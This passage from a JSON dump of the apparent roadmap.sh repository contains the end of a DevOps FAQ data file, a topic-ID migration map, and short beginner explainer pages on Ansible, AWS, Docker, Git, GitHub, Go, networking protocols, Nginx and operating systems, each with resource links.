resource](https://roadmap.sh/devops/vs-full-stack) provides a helpful perspective.\",\n      'While both roles require coding skills, **DevOps is more focused on automation, scalability, and system stability**, ensuring that developers can ship code faster and with fewer problems.',\n    ],\n  },\n  {\n    question: 'How do I prepare for a DevOps interview?',\n    answer: [\n      'A great way to prepare for a DevOps interview is by working on [hands-on DevOps projects](https://roadmap.sh/devops/projects) that showcase your skills in automation, CI/CD, cloud infrastructure, and monitoring. Setting up a **home lab** where you can play around and test new techniques or deploy applications using DevOps tools like Docker, Kubernetes, Terraform, and Jenkins can help demonstrate your practical experience and give you a competitive advantage over other candidates.',\n      'Apart from that, another great idea is to review [common DevOps interview questions](https://roadmap.sh/questions/devops). Doing so can help you identify gaps in your understanding. Topics like infrastructure as code (IaC), container orchestration, logging and monitoring, and security best practices often come up during interviews.',\n      'Another useful step is to study real-world expectations by going through a [DevOps Engineer job description](https://roadmap.sh/devops/job-description). This can give you a clearer idea of what employers are looking for and help tailor your study program.',\n      'Finally, soft skills matter too—be ready to discuss how you collaborate with developers, handle incidents, and optimize deployment processes. DevOps is as much about culture and teamwork as it is about technical expertise, so showing you have a problem-solving mindset and an understanding of [DevOps principles](https://roadmap.sh/devops/principles) will set you apart in the interview.',\n    ],\n  },\n  {\n    question: 'What is a DevOps Lifecycle?',\n    answer: [\n      'A [DevOps lifecycle](https://roadmap.sh/devops/lifecycle) is a set of practices and processes that help organizations deliver software more quickly and reliably. The DevOps lifecycle typically includes planning, development, testing, deployment, monitoring, and feedback. ',\n      'It starts with **planning**, where teams define objectives, outline features, and create a roadmap for **development**. Agile methodologies and tools like Jira help facilitate this process. In the development phase, developers get to write and commit code using version control systems like Git. During this stage, testing is also involved (although without being the main focus of it) through the use of unit testing suites like Jasmine or JUnit.',\n      'Once the code is ready, it moves to **testing**, where automated and manual tests validate functionality, security, and performance. This ensures that the application is stable before deployment. The **deployment** phase follows, where CI/CD pipelines automate the release process, making it easier to push updates to staging or production environments with minimal risk while ensuring the quality and security of the delivery (through automated tests and validations).',\n      'After deployment, **monitoring** tools track system health and application performance, providing real-time insights into potential issues. After all of this, during the **feedback stage**, teams are able to analyze monitoring data, user reports, and incident responses to iterate and refine their processes and improve future iterations.',\n      'Through the DevOps lifecycle, companies automate and integrate these stages allowing them to improve collaboration between development and operations teams, increasing the speed of software delivery, and enhancing the overall quality of software products.',\n    ],\n  },\n  {\n    question: 'What is DevOps automation?',\n    answer: [\n      \"DevOps automation is about leveraging various tools and scripts to minimize manual tasks throughout the dev lifecycle. In essence, it's a strategy for addressing challenges by automating key aspects of the project.\",\n      \"Although it won't remove every problem, a well-executed automation plan can **enhance efficiency, reduce mistakes, and speed up delivery**. This is done by simplifying key steps with a focus on: integrating code, running tests, provisioning infrastructure, managing configurations, deploying applications, and monitoring system performance.\",\n      'A significant area in this practice is **Continuous Integration/Continuous Deployment (CI/CD)**, which automatically tests and deploys code changes with minimal human input.',\n      'On top of it, Infrastructure as Code (IaC) allows teams to manage and define infrastructure through code, resulting in more reliable, scalable, and faster deployments. Tools for configuration management automate the setup of systems and software installations, while monitoring and logging solutions offer real-time insights into system health.',\n      'Selecting the right set of tools is vital for success. If you’re interested in exploring effective solutions, consider reviewing this comprehensive list of [top DevOps automation tools](https://roadmap.sh/devops/automation-tools) to determine which ones best complement your workflow.',\n    ],\n  },\n  {\n    question: 'What is a pipeline in DevOps?',\n    answer: [\n      'In DevOps, a pipeline is an automated sequence of processes that takes code from development to production. Often referred to as a CI/CD (Continuous Integration/Continuous Deployment) pipeline, it simplifies the workflow by introducing automation. The main tasks inside a pipeline are:',\n      '**Building:** Compiling code and preparing it for testing. In some situations, the compiling step might be optional or not even required, however, it can be replaced by linting.',\n      '**Testing:** Running automated tests to catch issues early. If a test fails, the whole pipeline will usually fail, preventing the code from moving forward into production.',\n      '**Deployment:** Releasing the code to staging or production environments.',\n      '**Monitoring:** Checking the performance and stability of the deployed application.',\n      'A well-defined pipeline ensures that software is consistently built, tested, and deployed, which, in turn, helps reduce human error, increases efficiency, and supports the rapid delivery of high-quality software.',\n    ],\n  },\n  {\n    question: 'What metrics are used in DevOps to measure success?',\n    answer: [\n      'In DevOps, being such a complex practice, measuring success is not straightforward. Instead, success is measured using a combination of metrics that tackle both the development process and operational performance.',\n      'Some of the key metrics include:',\n      '**Deployment Frequency:** Measures how often new releases are deployed to production. A higher frequency often indicates a streamlined, efficient process.',\n      \"**Lead Time for Changes:** The duration from when code is committed to when it's successfully deployed. Shorter lead times suggest that the existing pipelines provide the flexibility required to quickly put ideas into production.\",\n      \"**Mean Time to Recovery (MTTR):** The average time it takes to restore service after a failure or outage. Lower MTTR values reflect a team's ability to promptly resolve issues and maintain system reliability. It can also signal a strong and mature infrastructure.\",\n      '**Change Failure Rate:** The percentage of deployments that result in failures, such as outages or the need for rollbacks. A lower change failure rate signals a more stable and reliable deployment practice.',\n      '**Automated Test Coverage and Quality Metrics:** These include the percentage of code covered by automated tests, as well as other quality indicators like code complexity and defect density. They help ensure that the software is robust and maintainable.',\n      '**System Performance and Uptime:** Operational metrics like uptime, response time, and error rates monitor the health and performance of the application in production, ensuring a good user experience.',\n      '**Cycle Time:** The total time it takes for a new feature or bug fix to move from initial concept to production. Shorter cycle times indicate a more efficient process.',\n      'As you can see, together these metrics target not only the technical aspects of the DevOps practice but also the operational agility available.',\n    ],\n  },\n  {\n    question: 'What are some misconceptions about DevOps?',\n    answer: [\n      'Some common misconceptions about DevOps include:',\n      \"**DevOps is just automation:** While automation is an important part of DevOps, it's not the only thing. DevOps is a culture that emphasizes collaboration, communication, and continuous integration between dev and ops teams to improve the quality and speed of software delivery.\",\n      '**DevOps is just a job title:** DevOps is a mindset and set of practices, not a specific job title. Anyone involved in the software development and delivery process can adopt a DevOps mindset and apply DevOps practices in their work, including developers, testers, operations engineers, and others.',\n      '**DevOps eliminates the need for IT operations:** DevOps does not eliminate the need for IT operations. Instead, it changes the way that operations teams work by promoting collaboration with development teams and introducing new tools and processes for deployment, monitoring, and maintenance.',\n    ],\n  },\n  {\n    question: 'How do Agile and DevOps interrelate?',\n    answer: [\n      '[Agile and DevOps](https://roadmap.sh/devops/vs-agile) both prioritize collaboration, continuous improvement, and delivering working software. They can be used together to create a more efficient software development process. Agile emphasizes iterative development and customer satisfaction, while DevOps emphasizes automating processes and integrating developers and ops teams. When used together, Agile and DevOps can improve software development and delivery by streamlining processes and enhancing collaboration.',\n    ],\n  },\n  {\n    question: 'What is the difference between SRE and DevOps?',\n    answer: [\n      'The difference between [DevOps vs SRE](https://roadmap.sh/devops/devops-vs-sre) lies in focus: DevOps Engineers improve software delivery and infrastructure automation, bridging development and operations, while Site Reliability Engineers (SREs) ensure system reliability and performance, applying software engineering to operations. DevOps emphasizes CI/CD and collaboration, whereas SREs prioritize monitoring, incident response, and scalability.',\n    ],\n  },\n  {\n    question: 'What is the difference between DevSecOps and DevOps?',\n    answer: [\n      \"The main difference between DevSecOps and DevOps is in their names, one of them includes security in their focus while the other doesn't. However, there's more to that story, so let's dive a little deeper.\",\n      'On one hand, DevOps primarily focuses on simplifying the software delivery process by automating processes and fostering close collaboration between devs and ops teams. The goal is to quickly and reliably deliver code to production.',\n      'Now, on the other hand, DevSecOps builds on top of the above by embedding security measures into every stage of the development process. Instead of treating security as an afterthought, security teams are now involved in all activities, helping in the process of building secure software.',\n      'This extended practice now makes sure that vulnerability assessments, compliance checks, and code scanning are core activities of the workflow from the very beginning.',\n      'While this shift might cause some unease among developers at first, in the long run, it helps mitigate risks by making security a shared responsibility. In a DevOps environment, speed and efficiency are the most important things, but with DevSecOps, having a secure pipeline becomes a priority as well.',\n      \"If you're curious about the finer points and practical differences between these approaches, a detailed discussion can be found in this comprehensive comparison: [DevOps vs DevSecOps](https://roadmap.sh/devops/vs-devsecops).\",\n    ],\n  },\n  {\n    question: 'What is shift-left in DevOps?',\n    answer: [\n      'Shift-left is a software development practice that involves moving tasks and processes earlier in the development lifecycle. By shifting tasks left, teams can identify and address issues earlier in development, reducing the cost and effort required to fix them.',\n      '[Shift-left practices](https://roadmap.sh/devops/shift-left-testing) include implementing automated testing, code reviews, and security checks early on to catch and fix issues before they become more costly to address.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/devops/migration-mapping.json",
    "content": "{\n  \"language\": \"v5FGKQc-_7NYEsWjmTEuq\",\n  \"language:python\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n  \"language:go\": \"npnMwSDEK2aLGgnuZZ4dO\",\n  \"language:ruby\": \"PuXAPYA0bsMgwcnlwJxQn\",\n  \"language:rust\": \"eL62bKAoJCMsu7zPlgyhy\",\n  \"language:javascript\": \"QCdemtWa2mE78poNXeqzr\",\n  \"operating-systems\": \"qe84v529VbCyydl0BKFk2\",\n  \"operating-systems:windows\": \"UOQimp7QkM3sxmFvk5d3i\",\n  \"operating-systems:unix:free-bsd\": \"PiPHFimToormOPl1EtEe8\",\n  \"operating-systems:unix:open-bsd\": \"97cJYKqv7CPPUXkKNwM4x\",\n  \"operating-systems:unix:net-bsd\": \"haiYSwNt3rjiiwCDszPk1\",\n  \"operating-systems:linux:ubuntu\": \"cTqVab0VbVcn3W7i0wBrX\",\n  \"operating-systems:linux:suse-linux\": \"zhNUK953p6tjREndk3yQZ\",\n  \"operating-systems:linux:rhel\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n  \"live-in-terminal:scripting:bash-scripting\": \"syBIAL1mHbJLnTBoSxXI7\",\n  \"live-in-terminal:scripting:powershell\": \"z6IBekR8Xl-6f8WEb05Nw\",\n  \"live-in-terminal\": \"wjJPzrFJBNYOD3SJLzW2M\",\n  \"live-in-terminal:process-monitoring\": \"x-JWvG1iw86ULL9KrQmRu\",\n  \"live-in-terminal:performance-monitoring\": \"gIEQDgKOsoEnSv8mpEzGH\",\n  \"live-in-terminal:networking-tools\": \"OaqKLZe-XnngcDhDzCtRt\",\n  \"live-in-terminal:text-manipulation\": \"cUifrP7v55psTb20IZndf\",\n  \"live-in-terminal:editors\": \"Jt8BmtLUH6fHT2pGKoJs3\",\n  \"vcs-hosting:github\": \"ot9I_IHdnq2yAMffrSrbN\",\n  \"vcs-hosting:gitlab\": \"oQIB0KE0BibjIYmxrpPZS\",\n  \"vcs-hosting:bitbucket\": \"Z7SsBWgluZWr9iWb2e9XO\",\n  \"vcs-hosting\": \"h10BH3OybHcIN2iDTSGkn\",\n  \"version-control-systems\": \"LvhFmlxz5uIy7k_nzx2Bv\",\n  \"version-control-systems:git\": \"uyDm1SpOQdpHjq9zBAdck\",\n  \"setting-up-x\": \"jCWrnQNgjHKyhzd9dwOHz\",\n  \"setting-up-x:load-balancer\": \"i8Sd9maB_BeFurULrHXNq\",\n  \"setting-up-x:firewall\": \"f3tM2uo6LLSOmyeFfLc7h\",\n  \"setting-up-x:caching-server\": \"R4XSY4TSjU1M7cW66zUqJ\",\n  \"setting-up-x:forward-proxy\": \"F93XnRj0BLswJkzyRggLS\",\n  \"setting-up-x:reverse-proxy\": \"eGF7iyigl57myx2ejpmNC\",\n  \"setting-up-x:iis\": \"5iJOE1QxMvf8BQ_8ssiI8\",\n  \"setting-up-x:apache\": \"0_GMTcMeZv3A8dYkHRoW7\",\n  \"setting-up-x:tomcat\": \"dF3otkMMN09tgCzci8Jyv\",\n  \"setting-up-x:nginx\": \"ukOrSeyK1ElOt9tTjCkfO\",\n  \"containers\": \"Yq8kVoRf20aL_o4VZU5--\",\n  \"containers:lxc\": \"qYRJYIZsmf-inMqKECRkI\",\n  \"cloud-providers\": \"2Wd9SlWGg6QtxgiUVLyZL\",\n  \"cloud-providers:azure\": \"ctor79Vd7EXDMdrLyUcu_\",\n  \"cloud-providers:aws\": \"1ieK6B_oqW8qOC6bdmiJe\",\n  \"cloud-providers:google-cloud\": \"zYrOxFQkl3KSe67fh3smD\",\n  \"cloud-providers:digital-ocean\": \"-h-kNVDNzZYnQAR_4lfXc\",\n  \"cloud-providers:albaba-cloud\": \"YUJf-6ccHvYjL_RzufQ-G\",\n  \"networking-protocols\": \"w5d24Sf8GDkLDLGUPxzS9\",\n  \"networking-protocols:ssl-tls\": \"0o6ejhfpmO4S8A6djVWva\",\n  \"networking-protocols:ssh\": \"wcIRMLVm3SdEJWF9RPfn7\",\n  \"networking-protocols:http\": \"ke-8MeuLx7AS2XjSsPhxe\",\n  \"networking-protocols:https\": \"AJO3jtHvIICj8YKaSXl0U\",\n  \"networking-protocols:ftp\": \"RDLmML_HS2c8J4D_U_KYe\",\n  \"networking-protocols:dns\": \"Vu955vdsYerCG8G6suqml\",\n  \"networking-protocols:osi-model\": \"QZ7bkY-MaEgxYoPDP3nma\",\n  \"networking-protocols:emails:white-grey-listing\": \"E-lSLGzgOPrz-25ER2Hk7\",\n  \"networking-protocols:emails:smtp\": \"zJy9dOynWgLTDKI1iBluG\",\n  \"networking-protocols:emails:dmarc\": \"5vUKHuItQfkarp7LtACvX\",\n  \"networking-protocols:emails:imap\": \"WMuXqa4b5wyRuYAQKQJRj\",\n  \"networking-protocols:emails:spf\": \"ewcJfnDFKXN8I5TLpXEaB\",\n  \"networking-protocols:emails:pop3s\": \"fzO6xVTBxliu24f3W5zaU\",\n  \"networking-protocols:emails:domain-keys\": \"RYCD78msIR2BPJoIP71aj\",\n  \"serverless:cloudflare\": \"l8VAewSEXzoyqYFhoplJj\",\n  \"serverless:aws-lambda\": \"UfQrIJ-uMNJt9H_VM_Q5q\",\n  \"serverless:azure-functions\": \"mlrlf2McMI7IBhyEdq0Nf\",\n  \"serverless:gcp-functions\": \"JXsctlXUUS1ie8nNEgIk9\",\n  \"serverless:vercel\": \"LZDRgDxEZ3klp2PrrJFBX\",\n  \"serverless:netlify\": \"hCKODV2b_l2uPit0YeP1M\",\n  \"serverless\": \"9p_ufPj6QH9gHbWBQUmGw\",\n  \"infrastructure-provisioning\": \"1oYvpFG8LKT1JD6a_9J0m\",\n  \"infrastructure-provisioning:aws-cdk\": \"XA__697KgofsH28coQ-ma\",\n  \"infrastructure-provisioning:cloudformation\": \"TgBb4aL_9UkyU36CN4qvS\",\n  \"infrastructure-provisioning:pulumi\": \"O0xZ3dy2zIDbOetVrgna6\",\n  \"infrastructure-provisioning:terraform\": \"nUBGf1rp9GK_pbagWCP9g\",\n  \"configuration-management\": \"V9sOxlNOyRp0Mghl7zudv\",\n  \"configuration-management:ansible\": \"h9vVPOmdUSeEGVQQaSTH5\",\n  \"configuration-management:chef\": \"kv508kxzUj_CjZRb-TeRv\",\n  \"configuration-management:puppet\": \"yP1y8U3eblpzbaLiCGliU\",\n  \"ci-cd\": \"aQJaouIaxIJChM-40M3HQ\",\n  \"ci-cd:gitlab-ci\": \"2KjSLLVTvl2G2KValw7S7\",\n  \"ci-cd:jenkins\": \"dUapFp3f0Rum-rf_Vk_b-\",\n  \"ci-cd:github-actions\": \"JnWVCS1HbAyfCJzGt-WOH\",\n  \"ci-cd:travis-ci\": \"-pGF3soruWWxwE4LxE5Vk\",\n  \"ci-cd:circle-ci\": \"1-JneOQeGhox-CKrdiquq\",\n  \"ci-cd:drone\": \"TsXFx1wWikVBVoFUUDAMx\",\n  \"ci-cd:teamcity\": \"L000AbzF3oLcn4B1eUIYX\",\n  \"secret-management\": \"hcrPpjFxPi_iLiMdLKJrO\",\n  \"secret-management:sealed-secrets\": \"ZWq23Q9ZNxLNti68oltxA\",\n  \"secret-management:cloud-specific-tools\": \"yQ4d2uiROZYr950cjYnQE\",\n  \"secret-management:vault\": \"tZzvs80KzqT8aDvEyjack\",\n  \"secret-management:sops\": \"GHQWHLxsO40kJ6z_YCinJ\",\n  \"infrastructure-monitoring\": \"qqRLeTpuoW64H9LvY0U_w\",\n  \"infrastructure-monitoring:prometheus\": \"NiVvRbCOCDpVvif48poCo\",\n  \"infrastructure-monitoring:grafana\": \"niA_96yR7uQ0sc6S_OStf\",\n  \"infrastructure-monitoring:zabbix\": \"W9sKEoDlR8LzocQkqSv82\",\n  \"infrastructure-monitoring:datadog\": \"bujq_C-ejtpmk-ICALByy\",\n  \"application-monitoring\": \"wNguM6-YEznduz3MgBCYo\",\n  \"application-monitoring:open-telemetry\": \"K81bmtgnB1gfhYdi3TB5a\",\n  \"application-monitoring:datadog\": \"BHny2Emf96suhAlltiEro\",\n  \"application-monitoring:new-relic\": \"pk76Us6z8LoX3f0mhnCyR\",\n  \"application-monitoring:jaeger\": \"8rd7T5ahK2I_zh5co-IF-\",\n  \"logs-management\": \"gaoZjOYmU0J5aM6vtLNvN\",\n  \"logs-management:elastic-stack\": \"K_qLhK2kKN_uCq7iVjqph\",\n  \"logs-management:loki\": \"w2eCgBC-ydMHSxh7LMti8\",\n  \"logs-management:papertrail\": \"cjjMZdyLgakyVkImVQTza\",\n  \"logs-management:splunk\": \"dZID_Y_uRTF8JlfDCqeqs\",\n  \"logs-management:graylog\": \"s_kss4FJ2KyZRdcKNHK2v\",\n  \"containers:gke-eks-aks\": \"XbrWlTyH4z8crSHkki2lp\",\n  \"containers:ecs-fargate\": \"FE2h-uQy6qli3rKERci1j\",\n  \"containers:docker-swarm\": \"VD24HC9qJOC42lbpJ-swC\",\n  \"artifcats\": \"zuBAjrqQPjj-0DHGjCaqT\",\n  \"artifcats:cloud-smith\": \"vsmE6EpCc2DFGk1YTbkHS\",\n  \"artifcats:artifactory\": \"C_sFyIsIIpriZlovvcbSE\",\n  \"artifcats:nexus\": \"ootuLJfRXarVvm3J1Ir11\",\n  \"gitops\": \"-INN1qTMLimrZgaSPCcHj\",\n  \"gitops:flux-cd\": \"6gVV_JUgKgwJb4C8tHZn7\",\n  \"gitops:argo-cd\": \"i-DLwNXdCUUug6lfjkPSy\",\n  \"service-mesh\": \"EeWsihH9ehbFKebYoB5i9\",\n  \"service-mesh:istio\": \"XsSnqW6k2IzvmrMmJeU6a\",\n  \"service-mesh:consul\": \"OXOTm3nz6o44p50qd0brN\",\n  \"service-mesh:envoy\": \"epLLYArR16HlhAS4c33b4\",\n  \"service-mesh:linkerd\": \"hhoSe4q1u850PgK62Ubau\",\n  \"availability\": \"JCe3fcOf-sokTJURyX1oI\",\n  \"data-management\": \"5FN7iva4DW_lv-r1tijd8\",\n  \"design-and-implementation\": \"1_NRXjckZ0F8EtEmgixqz\",\n  \"management-and-monitoring\": \"8kby89epyullS9W7uKDrs\"\n}"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/ansible@h9vVPOmdUSeEGVQQaSTH5.md",
    "content": "# Ansible\n\nAnsible is an open-source automation tool used for configuration management, application deployment, and task automation. It simplifies the process of managing and orchestrating infrastructure by using a declarative language to define desired states and configurations. Ansible operates using YAML files, called playbooks, which describe the tasks to be executed on remote systems. It employs an agentless architecture, meaning it uses SSH or other remote protocols to execute tasks on target machines without requiring additional software to be installed. Ansible is widely used for automating repetitive tasks, ensuring consistency, and managing large-scale deployments across various environments.\n\nVisit the following resources to learn more:\n\n- [@official@Ansible](https://www.ansible.com/)\n- [@article@Getting Started with Ansible](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-ansible-on-ubuntu-20-04)\n- [@video@Ansible Full Course for Beginners](https://www.youtube.com/watch?v=9Ua2b06oAr4)\n- [@video@Ansible in 100 Seconds](https://www.youtube.com/watch?v=xRMPKQweySE)\n- [@video@Ansible Full Course to Zero to Hero](https://www.youtube.com/watch?v=GROqwFFLl3s)\n- [@feed@Explore top posts about Ansible](https://app.daily.dev/tags/ansible?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/aws@1ieK6B_oqW8qOC6bdmiJe.md",
    "content": "# AWS\n\nAmazon Web Services has been the market-leading cloud computing platform since 2011, ahead of Azure and Google Cloud. AWS offers over 200 services with data centers located all over the globe. AWS is an online platform that provides scalable and cost-effective cloud computing solutions. It is a broadly adopted cloud platform that offers several on-demand operations like compute power, database storage, content delivery, and so on.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AWS Roadmap](https://roadmap.sh/aws)\n- [@official@AWS](https://aws.amazon.com/)\n- [@official@AWS Cloud Essentials](https://aws.amazon.com/getting-started/cloud-essentials/)\n- [@official@Overview of Amazon Web Services](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/introduction.html)\n- [@article@Create an AWS account](https://grapplingdev.com/tutorials/how-to-create-aws-account)\n- [@video@100 hour AWS Complete Course](https://www.youtube.com/watch?v=zA8guDqfv40)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/docker@P0acFNZ413MSKElHqCxr3.md",
    "content": "# Docker\n\nDocker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. It enables developers to package applications with all their dependencies into standardized units called containers, ensuring consistent behavior across different environments. Docker provides a lightweight alternative to full machine virtualization, using OS-level virtualization to run multiple isolated systems on a single host. Its ecosystem includes tools for building, sharing, and running containers, such as Docker Engine, Docker Hub, and Docker Compose. Docker has become integral to modern DevOps practices, facilitating microservices architectures, continuous integration/deployment pipelines, and efficient resource utilization in both development and production environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@course@DevOps with Docker](https://courses.mooc.fi/org/uh-cs/courses/devops-with-docker)\n- [@official@Docker Docs](https://docs.docker.com/)\n- [@official@Docker Getting Started Guide](https://docs.docker.com/get-started/)\n- [@video@Docker Tutorial](https://www.youtube.com/watch?v=RqTEHSBrYFw)\n- [@video@Docker simplified in 55 seconds](https://youtu.be/vP_4DlOH1G4)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/dummy",
    "content": "\n"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/git@uyDm1SpOQdpHjq9zBAdck.md",
    "content": "# Git\n\nGit is a distributed version control system designed to track changes in source code during software development. It allows multiple developers to work on the same project simultaneously, maintaining a complete history of modifications. Git features local repositories on each developer's machine, enabling offline work and fast operations. It supports non-linear development through branching and merging, facilitating parallel work streams. Git's distributed nature enhances collaboration, backup, and experimentation. Key concepts include commits, branches, merges, and remote repositories. With its speed, flexibility, and robust branching and merging capabilities, Git has become the standard for version control in modern software development, powering platforms like GitHub and GitLab.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Git by Example - Learn Version Control with Bite-sized Lessons](https://antonz.org/git-by-example/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=vA5TTz6BXhY)\n- [@video@Git for Professionals Tutorial](https://www.youtube.com/watch?v=Uszj_k0DGsg)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/github-actions@JnWVCS1HbAyfCJzGt-WOH.md",
    "content": "# GitHub Actions\n\nGitHub Actions is GitHub’s built-in automation platform that lets you run workflows directly from your repository, such as building, testing, and deploying code, triggered by events like pushes, pull requests, or schedules.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@article@GitHub Actions Guide](https://octopus.com/devops/github-actions/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-github-actions)\n- [@article@Understanding GitHub Actions](ttps://docs.github.com/en/actions/about-github-actions/understanding-github-actions)\n- [@video@What is GitHub Actions?](https://www.youtube.com/watch?v=URmeTqglS58)\n- [@video@Automate your Workflow with GitHub Actions](https://www.youtube.com/watch?v=nyKZTKQS_EQ)\n- [@video@GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline](https://www.youtube.com/watch?v=R8_veQiYBjI)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/github@ot9I_IHdnq2yAMffrSrbN.md",
    "content": "# GitHub\n\nGitHub is a web-based platform built on top of Git that provides version control, collaboration tools, and project management features for software development. It enables developers to host Git repositories, collaborate on code through pull requests, and review and track changes. GitHub also offers additional features like issue tracking, continuous integration, automated workflows, and documentation hosting. With its social coding environment, GitHub fosters open-source contributions and team collaboration, making it a central hub for many software development projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Docs](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/go@npnMwSDEK2aLGgnuZZ4dO.md",
    "content": "# Go\n\nGo (Golang) is Google's statically typed, compiled language combining efficiency with ease of use. Features built-in concurrency via goroutines and channels, simple syntax, fast compilation, and a comprehensive standard library. Popular for microservices, web servers, and cloud-native development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@video@Go Programming – Golang Course with Bonus Projects](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/networking--protocols@w5d24Sf8GDkLDLGUPxzS9.md",
    "content": "# Networking Protocols\n\nNetworking protocols are standardized rules and procedures that govern how data is transmitted, received, and interpreted across computer networks. They define the format, timing, sequencing, and error control in data communication. Key protocols include:\n\n1.  TCP/IP (Transmission Control Protocol/Internet Protocol): The fundamental suite for Internet communication.\n2.  HTTP/HTTPS: For web browsing and secure data transfer on the web.\n3.  FTP/SFTP: File transfer protocols.\n4.  SMTP/POP3/IMAP: Email communication protocols.\n5.  DNS: For domain name resolution.\n6.  DHCP: For automatic IP address assignment.\n7.  SSL/TLS: For secure, encrypted communication.\n8.  UDP: For fast, connectionless data transmission.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is SSL?](https://www.cloudflare.com/learning/ssl/what-is-ssl/)\n- [@article@Cloudflare - What is TLS?](https://www.cloudflare.com/en-gb/learning/ssl/transport-layer-security-tls/)\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@video@DNS Records](https://www.youtube.com/watch?v=7lxgpKh_fRY)\n- [@video@SSH vs SSL vs TLS](https://www.youtube.com/watch?v=k3rFFLmQCuY)\n- [@video@OpenSSH Full Guide](https://www.youtube.com/watch?v=YS5Zh7KExvE)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/nginx@ukOrSeyK1ElOt9tTjCkfO.md",
    "content": "# Nginx\n\nNGINX is a high-performance, open-source web server, reverse proxy, and load balancer. Known for its efficiency in handling concurrent connections, NGINX uses an event-driven, asynchronous architecture that consumes minimal resources. It excels at serving static content, proxying requests to application servers, and load balancing across multiple backends. NGINX is widely used for its ability to improve website performance, scalability, and security. It supports various protocols, including HTTP, HTTPS, SMTP, and WebSocket, and offers features like SSL/TLS termination, caching, and content compression. Popular in both small-scale and enterprise environments, NGINX is a key component in many modern web architectures, particularly in microservices and containerized deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Nginx](https://nginx.org/)\n- [@article@Basic NGINX Setup on Ubuntu: Guide to a Functional and Secure Website Serving](https://swissmade.host/en/blog/basic-nginx-setup-ubuntu-guide-to-a-functional-and-secure-website-serving)\n- [@article@Understanding the Nginx Configuration File Structure](https://www.digitalocean.com/community/tutorials/understanding-the-nginx-configuration-file-structure-and-configuration-contexts)\n- [@video@NGINX Full Course](https://www.youtube.com/watch?v=0VGEgXfNMIE)\n- [@video@NGINX Explained in 100 Seconds](https://www.youtube.com/watch?v=JKxlsvZXG7c)\n- [@feed@Explore top posts about Nginx](https://app.daily.dev/tags/nginx?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/operating-system@qe84v529VbCyydl0BKFk2.md",
    "content": "# Operating system\n\nOperating systems (OS) are fundamental software that manage computer hardware and software resources, providing common services for computer programs. They act as an intermediary between applications and hardware, handling tasks like memory management, process scheduling, file system management, and device control. Common desktop operating systems include Microsoft Windows, macOS, and various Linux distributions. Mobile devices typically run iOS or Android. Server environments often use Linux distributions like Ubuntu Server, Red Hat Enterprise Linux, or Windows Server. Each OS type offers distinct features, user interfaces, and compatibility with different software and hardware. Operating systems play a crucial role in system security, performance optimization, and providing a consistent user experience across diverse computing devices and environments.\n\nVisit the following resources to learn more:\n\n- [@article@Operating Systems - Wiki](https://en.wikipedia.org/wiki/Operating_system)\n- [@article@Learn Operating Systems](https://www.tutorialspoint.com/operating_system/os_overview.htm)\n- [@video@What are Operating Systems?](https://www.youtube.com/watch?v=pVzRTmdd9j0)\n- [@video@Operating Systems](https://www.youtube.com/watch?v=vBURTt97EkA&list=PLBlnK6fEyqRiVhbXDGLXDk_OQAeuVcp2O)"
  },
  {
